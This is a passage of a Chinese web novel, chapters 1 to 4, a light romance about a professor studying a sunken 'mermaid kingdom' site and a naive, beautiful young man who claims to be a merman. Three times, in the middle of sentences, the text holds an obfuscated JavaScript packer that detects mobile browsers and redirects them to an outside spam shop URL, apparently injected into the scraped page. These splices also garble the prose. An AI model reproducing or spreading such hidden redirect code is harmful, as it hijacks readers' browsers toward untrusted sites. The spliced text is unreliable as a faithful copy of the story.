《如何娇养漂亮小哭包》 1. 第 1 章 21世纪的第一个元旦早晨,小镇的空气里都还残留着鞭炮的硝烟味儿。 冬日的金色阳光透过贴了彩纸的格窗,被染上花色,斜斜映在瓷砖略微开缝的地板上,落在女生着棉拖的脚边。 对着厚重台式电视画面擤鼻涕的女生,一边哭着一边往旁边挪板凳,怕被日光晒到。 直到板凳脚与身边的板凳脚相撞,她才想起还有个在陪自己看动画的男同学。 她转头,哭着对瞠目结舌的男生说: “受受他居然被关进空白牢房一千年!整整一千年!想想看,我什么也不能做,被关禁闭,顶多坚持一天,而他居然为爱坚持了一千年!” 那男生看着屏幕中色彩明艳、人体比例夸张的美型画风,咽了下口水,艰难问: “首先,‘受受’是什么意思?” 咔。 吱呀。 生锈的合页发出疲惫的细响,木制门扉打开,一个高大的男人走了进来。 没来得及继续交流下文的两人对视一眼,当即闭嘴,默默按熄了电视机。 假装没有一大早就不务正业偷看日系动画片。 进来的男人不怒自威,明明面无表情,却似乎只是进门,就足以将稍稍升温的小客厅,降温好几度。 震慑得俩小年轻不由得打了个哆嗦。 “一千年?” 显然,进门前,男人就透过格窗,看到了动画片的剧情,锐评道: “人类文明能迭好几个朝代,生产力都可以飞跃进步两轮。有这么长的时间,主角拿勺子抠墙都够越狱了,居然只是坐在那里天天掉眼泪?” “噗。”男生不客气地没憋住。 女生瞪男生一眼,才大胆对男人抗议,“教授!你这是冷不丁看到了高-潮情节,所以才会觉得剧情不合理!如果您和我一样从头追到尾……” 坐在沙发上的男人向后倚着靠背,将挂在颈上的金丝框眼镜捻起,架上鼻梁,翻阅起晨间新闻报。 姜黄色的高领毛衣套在这宽肩窄腰的骨架上,愣是被穿出电视里潮流明星的时尚感,暗色工装裤在脚踝处收紧,漆皮的黑色短靴,泛着与眼眸一样深且冷的光。 只从报纸后抬眼瞥了一下,就让女生灰溜溜把后半句改掉—— “……仔细想想,嗯,从头追到尾也还是很不合理。” “噗嗤。”男生又没憋住。 被女生掐着腰上的肉狠狠拧了一圈。 碍于教授在场,男生龇牙咧嘴,还是没敢放肆地叫出来。 “关教授!不好啦——” 门外传来乡音浓重的呼唤,打破了小客厅清晨的闲暇。 听见呼唤,男人将手中报纸一折,放在沙发边上,当即起身迎接。 来的是个渔民大婶,身上还穿着带着海腥味的工作服,沾着水的胶皮手套都没摘,就往男人手臂上抓。 目睹这一幕的俩学生表情狰狞,以为有洁癖的教授会发作,却见男人镇静地接受了—— “怎么了?慢慢说。” “人鱼!有人鱼!”大婶指着楼下海边的方向。 闻言,男学生失望叹气,“怎么又是‘人鱼’!单是上个月,咱们就辟谣了多少冒充‘人鱼秘宝’的手工贝壳饰品摊了!” “没办法,自从这附近发现了遗址后,‘滨镇人鱼’就成了致富密码!虽然目前为止无一例外全是骗局就是了。”女学生也附和。 “不是!”大婶见两个小的不信,有些慌张,忙对着教授手舞足蹈解释,“是真的!长得可漂亮嘞!没见过哪个人长得那么漂亮嘞!” “您别急。”男人不置可否,只镇定安抚过大婶的情绪,而后侧头,轻描淡写唤两个学生的名字,“常雨霖,石巍,带好装备,去看看。” “是!关教授!” “是!关教授!” 师生三人在大婶的带领下离开了小客厅。 门扉掩上的轻风,掀动沙发上报纸的扉页。 科教版面的头条,赫然刊载着男人为首的一支队伍,于海岸边某建筑大门外的合影。 其下附文—— 1998年,我国于南海打捞沉船作业,惊现的海底近人类文明遗址,初步判断已有数千年历史。 如今,入驻滨镇“海洋遗址研究基地”的,关路远教授所带领的科考队,初步赋予其一个浪漫的名字: “鲛人古国”。 它究竟只是被海水淹没的人类同胞的失落古国?抑或真如传说一般,是人鱼一族存在过的证据? 一切静待时间赐予人类智慧以真正的答案。 * 海滨围了不少人,多数是身着赶海服的小镇居民。 背着厚重登山包的石巍打头阵,边喊“让一让让一让教授来啦”,边试图挤过人群。 好在,经济发展迟缓的小镇,难得降落一位关路远这样的顶级知识分子,小镇居民对教授有着信神一般的敬畏感,听到教授来了,当即配合着让出一条路来。 关路远几乎没费什么劲,就穿行过人群,看见了被簇拥在正中的那只“人鱼”。 一如大婶所说,是个漂亮的青年。 男青年。 关路远从未用“漂亮”形容过一个同性。 可目睹那只“人鱼”时,他脑中只有这么一个词: 漂亮。 非要加上什么限定词,那就是: 非常非常漂亮。 关路远第一次感到人类的词汇竟可以如此匮乏—— 单是那双眼眸,大而明亮,眸子里嵌着在阳光下流光溢彩的色调。 珊瑚调的粉紫,深海的幽蓝,日光流转时,似乎还能看到鎏金般的光点。 关路远拜访过不少国内外的民族,没见过哪个族群,能孕育出这样一对眼睛。 单是这双眼睛就能吸引人许久,好不容易回神,才有余裕注意到男孩完整的美貌—— 高眉神目的西方骨相,精致纤细的东方皮相,白嫩得接近透明的肤质,除去沾上了海边的砂砾,几乎看不到半点瑕疵。 赤-裸的身体被兜在一块粗而脏的大麻布里,细长的腿曲着,露出末端泛着粉的脚趾头。 嗯,人腿。 和人脚趾。 关路远:“……” 人鱼人鱼,至少要有点鱼的特征吧? 哪怕鱼尾是人类对这个种族的幻想,这小子但凡长了点鱼鳍鱼鳃之类的构造,都算他努力过了。 现在别说唬过关路远了,这人连教授背后的学生都骗不过。 “这孩子是谁啊?怎么穿麻袋都这么好看啊?”石巍问。 “这不是麻袋!”人群中一个卷发的胖大婶站出来,自称是第一目击者,“我来赶海的时候,他就躲在那块大礁石后面,整个人泡在水里!我远远看到,大冬天这孩子好像连衣服都没穿,就给他找了块渔布盖着!” “没穿衣服?!”石巍大惊,“啊?长成这样怎么有这种癖好?路人要是不小心看到了,都不知道算谁吃亏……” 大婶被逗得咯咯直笑,“你说什么呢!哪有人鱼穿衣服的?” “人鱼?你说他是人鱼?”石巍盯着那双人腿,仰天哀嚎,“他怎么看都是个纯人类啊!我这么重的装备白带了!” 胖大婶挠头说:“可他说他是人鱼啊!” 石巍继续哀嚎:“不是,咱们居民的防骗意识现在已经堕落到‘声称人鱼就相信’的地步了吗!” 倒是关路远还很冷静,从几人混乱的对话中,得出有效信息,“所以,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205087|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以通过语言,和我们正常交流。” “对对对!还是教授聪明!”胖大婶忙应和,随即又补充自认为无懈可击的证据,“他肯定是人鱼,你见过一般人长这么漂亮的?” 围观的居民纷纷附和,“电视里的大明星都没这么漂亮的!” “难道看着像人,就一定不是人鱼了吗?” 石巍:“……呃,一时无法反驳。” 旁边又吵吵囔囔起来,但这似乎并不能妨碍关路远的思路。 男人蹲下身去,和坐在沙滩上的赤身青年平视。 尽管试图拉近距离,可身量的差距,还是让关路远的视线高出不少。 于是,打量的目光带了点傲慢的睥睨味道。 一般人被关路远这种眼神盯着,都会心虚,尤其那群学生,被看一眼,上周报告里有几处蒙混的细节,都会不打自招通通自首。 但眼前的小青年,却丝毫不胆怵。 明而净的眼眸直勾勾盯着关路远看,表情单纯无辜。 很像某种小动物。 一种难以言喻的人外感,总之,没有寻常人该有的感情。 这种情况,要么真是人外种族,要么…… 就是个傻子。 关路远薄唇轻启,问:“你是人鱼?” 静坐着的小青年点了点头。 支在沙滩上的手臂连带着颤了颤。 因为没有拽着身上的布,那布料便往下一滑,露出幼白的肩头。 看得关路远眉梢一蹙—— 人类是有羞耻感的,一般赤身裸体的人,如果身上披了布料,都会下意识遮挡住隐私部位。 但这“人鱼”似乎没有这样的意识,布料滑下去了都没反应,还是旁边的大婶注意到了,主动给他盖好的。 关路远稍凑近一些,那“人鱼”没躲。 关路远嗅了嗅,没闻到酒味,便再度确认了自己的初步判断—— 要么真傻子,要么真人鱼。 “你叫什么名字?”关路远又问。 小青年终于开口,说了一串音节。 声音清脆,却莫名在开阔的海边,产生点混响的效果。 听得关路远不适地皱紧眉头。 犹如记忆里经过暴风雨的海域,听船上水手描述过的,海妖的声音。 清纯却魅惑。 关路远缓回神。 小青年所说的,听起来像是个英文名,关路远在脑中回放一遍,大致拼出“Layne Sheaden”的发音,口中重复一遍,又觉得不太像。 他问:“是哪个国家的名字?” 小青年答:“人鱼的名字。” 非常流利标准的普通话,完全听不出地方口音。 但这回,倒是没有混响了,只是音色好听,不再产生令关路远不适的音效。 关路远又问:“你的名字是哪种语言?” 小青年答:“人鱼的语言。” 关路远:“……有什么东西可以证明你的身份么?” 小青年一怔,似乎没想过,自己的身份还需要证明。 关路远补充,“身份证,驾照,护照,ID card……不管哪个国家的都可以。” 小青年摇头,无辜道:“你说的那些,我听不懂。” 关路远:“……” 要说是傻子,小青年有问有答,逻辑清晰。 要说是人鱼,小青年满口普通话,浑身上下完全呈现人类基本特征。 可要说不是人鱼…… 自报姓名时激荡人魂的神秘语言,以及这双堪称绝无仅有的绮丽眼眸,又无法解释。 于是就这样,新世纪第一天的海边,研究人鱼遗迹的关教授,捡到了一只可疑的美人鱼。 2. 第 2 章 关路远凝眸,仍在与可疑青年对视。 身后的石巍见状,忍不住凑到关路远耳边,提议: “毫无人鱼特征还自称人鱼,能说普通话却拿不出证件,甚至不惜大冬天裸-奔……教授,这孩子是不是骗子?咱们要不……直接报警?” 本以为自己难得聪明了一回,终于能得到教授的表扬。 结果,弯腰屈膝凑在关教授身边的石巍一低头,就对上了关教授比冬日海风更冷的眼神。 “我平日就是这么教你的?” 关教授吐出反问。 “相信并怀疑!” 石巍猛一激灵,嚎出这一原则,自我检讨: “教授我错了,我光顾着怀疑,忘了相信了……” 人类探索地球的过程中,总会遇到已有科学难以解释的神秘现象。 遇到这种情况,关路远教授总会对学生强调,要保持“相信并怀疑”的态度—— 既要客观接受肉眼观测到的神秘现象,同时也要对诸多现象引导大脑产生的第一答案,保留怀疑与质疑。 一如将探月工程命名为“嫦娥”或“玉兔”,是出于对人文的浪漫与致敬。 关路远选择将南海海域附近的遗迹,初步命名为“鲛人古国”,亦只是为了满足人们的幻想,而非真的找到了人鱼这一种族存在的证据。 目前人类找到最接近“人鱼”形象的生物,是一种名为“儒艮”的海牛目物种。 和人们幻想中的童话里的美丽人鱼,不能说是一模一样,只能说是毫不相干。 凭现有的科学知识,不足以支撑关路远相信这海岸边裸-体青年自称人鱼的说法。 ……但那奇异的瞳色、自道姓名时的混响,以及相处时懵懂的人外感,也不能让关路远轻易否定这种可能性。 也就石巍这种半瓶水咣当的,敢信誓旦旦判断对方是个骗子。 “我不是骗子。” 海边青年轻声反驳。 音色清而透,很亮。 只是因为表情太过无辜,发声显得没有底气,听起来有点软。 听得周遭的婶婶姨姨们当即心软,纷纷叫着“关教授”,你一言我一语试图说服大科学家相信这孩子真的是一条人鱼。 当然,论据只有“美貌”一条而已。 真是匮乏又充分的论据。 随行的常雨霖也因那小青年的语气,心生好奇与怜惜,蹲在他面前与人平视,温柔笑着问: “你的家人在哪里?” “家人……”小青年理所当然转头,往海面方向看去,可随即,表情又呈现一瞬茫然,而后转了回来,“不知道。” “不知道?”常雨霖哄小孩似的引导,“那我们要带你去找警察叔叔咯?如果你只是走失了,警察叔叔刚好可以帮你找到家人。但如果真的像我同学说的那样,你是个小骗子……” 常雨霖故意在此停顿,没把话说完,以为这种留白足够让小青年识趣。 结果,小青年居然疑惑地重复:“什么是警察?” “哈?!”石巍原地蹦起,“反应这么快?是不是接受过对关键词的培训……” 后半句在关教授面无表情的凝视中,被石巍狼狈地咽了下去。 关教授依旧维持着单膝曲地的姿势,点头示意常雨霖继续。 常雨霖便接着问小青年:“你的认知中没有‘警察’这一概念吗?那……‘法律’,你知道吗?” “‘法律’……”小青年咀嚼字眼,而后转译,“我知道‘律法’!” “哦,哦!”这略显古早的措辞令常雨霖哽了一下,“‘律法’也行。总之,你现在不穿衣服有伤风化,自称‘人鱼’目的不纯,没有证件身份存疑……如果再不坦白,警察叔叔就可能根据‘律法’,把你关进监狱里去哦!” “监狱?!”小青年抽了一口气。 终于,一直懵懂且平静的表情,难得出现了一瞬惊恐。 常雨霖点头肯定,换来小青年瑟缩的颤抖。 紧接着,就在所有人猝不及防的时刻,小青年眼皮掀合,豆大的泪水砸了下来。 看得众人皆是惊愕—— 既因为小青年说哭就哭的能耐。 也因为小青年哭起来……该说不说……确实…… 太漂亮了。 大颗似玉豆的泪珠,映着阳光,闪着鱼鳞似的光泽,坠在渔布上碎开。 长睫细细密密地抖着,沾了水痕,看起来楚楚可怜。 围观居民更加怜爱: “这么好看的孩子能有什么坏心眼呢?” “小孩子说谎也没什么,‘叫骗子’是不是太严重了?” “哎呀,孩子犯点小错,把人吓哭也太可怜了吧?” 眼看优势在小骗子一方,石巍忙求助:“教授教授!赶紧拿出您平时震慑全场的气势救救场!顺便再恐吓……” 关路远看石巍。 石巍忙打了下自己的嘴,改口,“教育!教育一下这只迷途的羔……鱼!” 关路远看回来。 男人嘴唇嚅动一刹,似乎真在酝酿如何开口,但下一秒就把唇关抿紧。 因为关路远看到,那小青年似乎也被自己的泪珠震撼到。 一双柔且纤的手臂从渔布中探出来,布缝里白花花的肤色晃了下人眼。 泪水被小青年接在掌心。 小青年难以置信地观察到泪珠碎成水面的正常现象,竟然哭得更大声了—— “呜呜呜!我的眼泪怎么不会变成珍珠了!” 关路远:“?” * 有不少关于鲛人的民间传说版本,人鱼的眼泪都能化成珍珠。 显然,海边小青年的“人鱼设”,也遵循了这一版本。 很可惜,孩子“小珍珠”的实际落泪表现,狠狠打了孩子自己的脸。 没有珍珠。 纯泪水。 只不过,拥有朴素善良观的镇民们,并不因为人鱼青年的“小珍珠”不是“真珍珠”而义愤填膺,反倒因为小人鱼哭得太可怜更群情激昂。 眼看不管是否报警,都得先让小人鱼离开镇民们的视线避免骚动,关路远决定先带“可疑人员”撤离现场。 结果,“可疑人员”的“人鱼”设定不崩—— “我不会走路。” 简单五个字把师生三人又给干沉默了。 关于“如何带不会走路的人鱼离开海边”,三人展开了一番并不激烈的探讨—— “我虽然心有余……”常雨霖捏捏自己上臂薄薄的皮肉,“但我可能力不足。” 剩下俩人高马大的男士对视一眼,有洁癖的和有蛮力的,内心都有了答案。 石巍本就乐得表现,都自觉地撸袖子要抱人了,结果走到渔布兜着的青年跟前,看一眼人家白嫩的肌肤,又脚底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205088|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打旋羞红了脸转了回来。 “教授……我不想……”石巍伸直食指,然后弯曲两下。 关路远:“谁教你这个手势的?” 石巍看向常雨霖。 常雨霖看向天。 既然常雨霖搬不动,石巍不敢搬,那谁还能完成这个任务呢? 两个学生格外信任的眼神,便同时投往关教授面无表情的脸上。 他和她既信任“关教授能承受人鱼青年体重”这件事,毕竟稳定健身的教授毋庸置疑能做到。 也信任“关教授不会被美貌青年掰弯”这件事。 毕竟断情绝爱的“关阎王”毋庸置疑不会动情。 “不过,教授要怎么把人鱼带走比较好?”石巍问。 常雨霖掩嘴偷笑,“当然是公主b……” “抱”字没说完,二人就见关路远手臂一捞,直接将人…… 连人带麻袋扛在了肩上。 嗯。 像扛一条大咸鱼一样。 石巍:“……” 常雨霖:“……” 注视着关教授扛着很配合不挣扎的小青年离开的背影…… 石巍表示:“教授怎么做到对着那张美丽的脸选择这么不解风情的姿势的呢?” 常雨霖表示:“毕竟是关路远教授嘛,不奇怪。果然我们永远不用担心关教授会被掰弯。” * 回住宿区后,关路远甚至洗了个澡。 搓了足足二十分钟沐浴液,把手掌到肩头沾过渔布的腥味搓干净,他才作罢。 等他揉着毛巾擦着头发走回石巍宿舍门口,却见俩学生还在门口面面相觑。 而石巍手中,还抱着那套给人鱼青年准备的衣服。 关路远走过去,说:“距离我们回来,至少过去了二十分钟。” 话语戛然而止。 压迫感油然而生。 惊得石巍忙解释:“我知道要去警局了那孩子光着不合适,所以我给他找了衣服!但是他说不会穿!” 关路远继续擦头发,没说话。 石巍又继续解释:“我知道他不会我们可以教!可他是男生,雨霖去教不合适!但他长得那么漂亮……让我来,也不合适……” 石巍又竖起一根食指。 这回不待这倒霉学生弯手指,关路远就直接将毛巾挂在脖子上,大手抓过给人鱼准备的衣物,就直接进屋掩了门。 “好耶!还得是关教授!” 门外俩学生击掌小声喝彩: “不愧是断情绝爱的神!” 屋内,那人鱼青年还维持着刚到达时被丢在床上的姿势。 只是上半身坐了起来,于是虚盖在身上的渔布滑下来,胸口薄肌与骨骼的线条清晰。 肌肤透得几乎能看到青蓝色血管,兜着海洋一样的色泽。 蓝。白。 还有粉色。 只一眼,关路远便匆匆移开视线。 可眼睛一瞬捕捉的冲击画面,会把印象残留在脑中。 让关路远心生一阵无名的燥火。 他把石巍准备的衣物丢在床上,内搭衬衣的布料轻盈,恰好掀起盖在人鱼青年的上身。 眼角余光瞥见人鱼身子不那么光了,关路远刚将视线转回来…… 就见那人鱼直接抬手,把盖在身上仅存的布料给扒拉了下去。 关路远:“……” 3. 第 3 章 关路远看向床上的小人鱼。 大概是在海边哭得太惨,现下小青年眼泪止了许久,那双斑斓的眼睛还是红红的。 眼皮下的皮肤也哭红了一片,拖着些尾,像锦鲤的红痕。 妖冶、娇嫩,又惹人生怜。 关路远一看就明白,同为男孩,石巍为什么不敢陪人鱼换衣服。 他理解石巍。 但也仅限于理解而已。 正如关路远理解“英雄难过美人关”的现象出现,但他自己依旧不曾耽于美色一样。 石巍不敢,关路远敢。 于是,手指往那叠衣服上一点,关路远开口: “穿上。” 小人鱼的脑袋跟着手指的方向低头,看了眼衣服,又抬头,睁着无辜的眼直视关路远…… 最后,摇头。 “什么意思?” 关路远的脸色波澜无惊。 看似面无表情,实则最难揣度。 他那些学生等待报告面批结果时,一旦看到他这种表情,心里至少会脑补十八版后续的修改计划。 不过,此时教授对上的,是个自称人鱼,且常识也略有脱节的懵懂青年。 于是小人鱼浑然不怕,还理直气壮,“你们的身体上一定要‘穿’东西吗?我们人鱼是什么都不穿的。” 关路远:“……” 这人鱼的设定居然还能继续演? “你们人鱼长什么样子?”关路远问。 小青年便对着自己的身体比划,“上身和你们一样,只不过下面是一条长长的鱼尾巴。越高贵的种族血统,尾巴越长,尾鳍也越漂亮。” 关路远:“……” 男人的视线在小青年被渔布盖住的腿部,以及小青年的无辜眼神间,来回扫视。 暗示不言而喻,但凡换个人都能读懂教授的眼神。 偏偏小人鱼不懂。 关路远只能把这浅显到可笑的暗示说破: “那你尾巴呢?” 小人鱼理所当然地伸手去摸自己的腿,在渔布下摸出人腿的轮廓,反倒诧异,竟直接掀布查看。 好像跟自己的腿不熟似的。 渔布下的两柄冷白色又晃了人眼睛。 关路远屏了瞬呼吸,本能又转开了视线,半晌才缓缓吐出憋住的那口气。 然后就听见小人鱼在那儿闷闷地问: “对啊,我尾巴呢?” “……” 吐到一半的气又憋住了。 “总之。”关路远也不废话,直接抓痛点,“你现在没有鱼尾,是人类的样子,你就得遵守人类社会的规则。否则,你就会被人类关进监狱里。明白?” 前面的半番话或许还听得云里雾里,最后那个“关进监狱”,小人鱼听得清清楚楚,甚至又被吓得一激灵。 理智上线后,关路远迅速意识到,同为男性,他没有回避裸-体的必要。 他大大方方看回去,不过也只是盯着人的脸看。 毕竟他本人对人体不含大脑且无法承载表情的脖子以下部位没有窥探欲。 被盯着观察的小人鱼,嘴巴一撇,好像又要被吓哭,关路远端起手臂冷漠观战。 然后他就看到小人鱼抬手指,擦了下眼角,抽吸了下鼻子,似乎把泪意憋了回去。 细心的关路远注意到,小人鱼放下的手指指节上,沾了水痕。 说明刚才被监狱“吓哭”不是装的。 但又坚强地憋了回去。 平日对学生,为了追求最高的沟通效率,关路远有时表现得会像学生评价的:“毫无人性”。 声称被骂哭的学生无论男女不在少数,而这些反馈传进关路远耳中,只会令他诧异: 我什么时候骂过人了? 毕竟关教授说话确实不吐脏字。 纯靠气场压制。 大脑不同区域分管情绪与理智,且通路不同时开启。 面对哭泣的学生,关路远会停止沟通,一来避免二次刺激,二来懒得浪费自己的口舌。 而一旦哭泣的学生尝试想要绷住,尽可能用理智压制情绪,努力想继续和教授沟通…… 关路远就会难得展现几分人性,耐着性子倾听,语气也会不自知柔和不少。 眼前绷住眼泪的小人鱼,就让关路远想到了自己那些努力憋住的学生。 ……当然,关教授的学生本就是各专业饱经锻炼的人才,毕业后也是各领域能扛事的大佬,确实没哪个像这只小人鱼一样娇滴滴的。 即便是女学生,在关路远面前,也不会可怜得如此梨花带雨。 所以对待这只小人鱼,关教授并不知道,自己除了耐心,甚至多了点…… 对待小孩的哄骗。 “你不想进监狱,对吧?”关路远说。 小人鱼泪眼汪汪点头,“嗯。” “那你就得穿衣服。” “……”这回,低头看向那些衣服,小人鱼勉强地撅着嘴接受了,“好吧……” 关路远听惯了学生嘴上说“错了以后不犯了”结果“下次还敢”的承诺,早早就学会了只看行为结果。 于是,他镇静地注视着小人鱼用手指勾着那些衣物,本是贴心的暖和加绒卫衣和厚实牛仔裤,却被小人鱼不领情地丢开: “好重。” “现在是冬天。今天阳光好,石巍为你准备的这套,已经不是最厚的。” “冬天就要穿这么重吗?” “……‘重’不是重点。‘厚’才是。人在冬日穿得厚实是为了御寒。”关路远注意到小人鱼的赤体竟没有被冻出青红的颜色,而是自然的白皙,追问,“难道你不冷?” “原来你们穿这么多,是因为冷?” “……” 虽然回应关路远的是一句反问。 但关路远已经知道答案了。 海底确实没有四季,且越深水温越低。 如果这真是只人鱼,那现在陆地上的温度,对人鱼来说反倒很温暖。 关路远也不废话,直接让石巍进来翻箱倒柜找出一套夏季的T恤短裤,替换了那套冬衣。 “这回能穿了吗?”关路远又问。 小人鱼打量那套夏装,在身上比对,“我的手和尾巴……腿,可以露出来这么多?” “嗯。” “所以不是所有地方都要遮住。” “嗯。” 小人鱼又抬头问: “那为什么这些地方要遮住?” 发问时表情无辜中带着些天真。 所问的,正是其手捂着T恤短裤、衣不蔽体勉强遮盖着的隐-私-部位。 若不是关教授和这孩子打过一小段时间交道,乍一听这句话,怕不是也要误以为是某种暗示。 恰好石巍床头摆着本时尚杂志,里头刊着点当红明星的穿搭,关路远便把书打开给小人鱼看,里头的人无一例外都穿着衣服—— “原始时期人类穿衣是为了代替退化的毛发,保护躯体不受林叶与野兽的伤害。而后人以固定群体来生活,逐渐演变出配偶关系,人又穿上衣物遮蔽隐私部位,以减少对外界传播的性刺激。当穿衣现象成为常态,个体与群体出现差异就会形成羞耻感,不穿衣服的人就会……” 关教授传道授业解惑到一半,注意到小人鱼完全听不懂并逐渐放空的眼神,便将长篇大论掐断,简单粗暴下达结论: “就会被关起来。” 然后小人鱼的眼神就秒变为:懂了。 小人鱼翻着那本杂志,指着其中一页,又问: “那我也可以穿这么少吗?” 关路远低头一看,赫然发现,那一页是身材火辣的比基尼美女。 关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205089|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路远:“……” 然后小人鱼的杂志就被抢走了。 并且被霸道地丢了句“不可以”。 连哄带威胁地,眼看小人鱼终于笨拙地把两条腿塞进石巍囤的新内裤,再把身体套进宽大的T恤和绵软的短裤里,关路远如释重负。 当时刚挖掘出“鲛人古国”遗迹熬夜写报告时的他,都没有今天哄骗“自称人鱼的小青年”穿衣服来得疲惫。 一看裸男终于穿好衣服,关路远便转身准备开门,头也不回地丢了句: “走吧。” “哦。” 后面的小人鱼乖巧地应。 紧接着“扑通”一声重响。 关路远脚步一顿,转身。 就看见小人鱼双膝跪地,趴在了地上。 腰臀因姿势高高撅着,柔软的上衣顺着腰线滑上背来,露出腰肢细且软的曲线。 关路远却无心欣赏这一风景。 因为下一秒,他就看见小人鱼呜咽着撑起上身,拖着腿艰难翻身,坐好,抱着小腿。 露出膝盖上被磕得通红的两大片。 对比小人鱼本白皙的皮肤,红得堪称触目惊心。 关路远一惊,忙三两步上前,手插到小人鱼腋下,把人举起来放回床边坐着。 男人蹲下来,仔细观察小青年磕撞的伤口,幸而屋内铺了瓷砖地板,没给人摔破皮流血。 只是,肉眼可见,两块膝盖都肿了起来。 关路远抬头看向小人鱼,见小人鱼又抽抽嗒嗒掉起眼泪。 这回是真摔疼了。努力想憋住,抽搭几声,眼泪反倒越掉越多。 关路远有些自责,毕竟眼前这孩子暂时处于不能自理的认知阶段,他作为靠谱的成年人,本不该疏忽了小人鱼“不会走路”的设定。 可小人鱼自己似乎都忘了自己不会走路,以至于压根没有防备,径直摔得这么重这么狠。 真的,不像演的。 “你还要哭一会儿?”关路远难得没催促。 他这话的意思,是允许小人鱼再哭一会儿。 可小人鱼居然边哭边摇头,说:“不哭了。” 一边说不哭,一边眼泪还在掉。 看着有点笨。 以至于让关路远不经意莞尔了嘴角。 “我忘了你不会走路。”关路远轻声说,“所以,这次,我带你去。” 小人鱼点头。 想起刚才从海岸边被“带”回这里,男人是扛着自己的,小人鱼便配合地伸直手臂并着,准备再被扛起来。 在关路远看来,就像一只红着眼睛的小僵尸。 只不过,这回是真不能扛了,扛姿不可避免地会让这孩子的膝盖撞到关路远的身体,对摔伤的地方形成二次伤害。 于是,关路远站起来,躬下身。 揽腰,抄膝。 将小人鱼横抱进怀里。 结实的肌肉绷紧在教授新换的黑色毛衣里。 足够的力道稳稳托着小青年并不沉,甚至略偏纤细的身体。 将小人鱼抱进怀里的一瞬间,关路远想起常雨霖在海边提议过的,“公主抱”。 当时并不想满足这位女学生的“恶趣味”,他当机立断选择了扛着人鱼走…… 结果,现在,还是“公主抱”了。 这样的姿势对人类有特殊的意义,连关路远这样的人,都难得感到几分不自在。 他看向怀里的小青年,自诩人鱼的对方似乎没有这样的认知,并不认为这样的姿势有什么问题,老老实实待在他的怀里。 行。就这样吧。 关路远准备就这样把人抱出去。 怀里的人却突然不适地蹭了蹭脑袋。 轻轻的嘤咛像是一小柄羽毛,呼吸扫过男人脖颈侧边敏感的皮肤。 刮得关路远耳朵和脖子都有点痒。 4. 第 4 章 关路远低头,恰见自己刚才擦头发挂在脖颈垂在肩头的毛巾,此时硌在小人鱼的脑袋边。 娇嫩的“豌豆公主”受不得这样的委屈,拧紧了眉头。 “你把它抽出来。”关路远提醒。 小人鱼闻言扭头,这才注意到罪魁祸首是毛巾,把它抽出来,顺手放在了桌边。 然后又乖乖躺回教授怀里。 脑袋垫回教授的肩头。 关路远没来得及吹干的头发,此时仍有水滴坠在发缕末端。 滴落在小人鱼鼻尖。 小人鱼懵懂抬眼,看到是教授的湿头发,就抬起葱节般的手指,小心翼翼将那几捋湿发,别至教授耳后。 柔软的手指刮过男人的耳廓。 自然色的耳垂后知后觉地泛起点红。 关路远呼吸急促了一刹那。 只是被撩头发碰耳朵,关路远不会有反应。 只是公主抱着漂亮的人,关路远也不会有反应。 可偏偏,这两件事情正在同时进行。 饶是素有“断情绝爱关阎王”之称的教授,竟也有一瞬间失神。 “你干什么。” 关路远的嗓音有点哑。 小人鱼依旧没有自己“做错事”的自觉,懵懂地睁着眼,回应男人的视线。 眼眶还溢着刚才摔痛的泪珠。 “别乱动。”关路远目视前方,语气稍显强硬,“再乱动把你丢下去。” “哦。” 小人鱼乖乖应着。 然后把两条赤着的手臂环上教授的脖颈。 皮肤贴着皮肤。 有点热。 热得关路远一颤,喉结一滚。 “你……” “这回我真不动了。”小人鱼抱紧了,认真保证。 关路远一时只觉得拿他没办法,也就作罢,抱着人出了屋。 ……也就毫不意外地目睹门外两个学生,表情由等待的紧张,转为等到开门的期待,再转为看清公主抱之后的震撼。 关路远抱着人大步走进长廊,背影款款潇洒。 留下两个学生面面相觑: 常雨霖:“教授……公主抱了?!” 石巍:“教授……把那孩子弄哭了?!” “速度快。”男人低沉的嗓音自拐角处传来,“没搭上车的,徒步跑去派出所。” “啊啊啊教授等我!” “快追快追——” * 关路远将小人鱼抱进暗红色的奥迪100副驾,绑好安全带,而后坐在主驾上等。 不到一分钟,俩学生呼哧带喘地赶到,麻溜钻进后座,乖巧系好安全带。 油门一踩,关路远开车前往派出所的方向。 一路,车载收音机传出电台男主持人标准的播音腔,萨克斯风的背景音乐悠扬缱绻,令人放松。 小人鱼似乎没见识过这玩意,好奇地盯着播放砂粒感电流音的收音机,甚至伸出手指,对着喇叭口戳两下。 关路远专注开车,眼角余光瞥到副驾人的小动作,轻哼一声,没有说话。 后座的俩学生也一直关注着小人鱼,见孩子好奇,就凑过来点,跟人搭话。 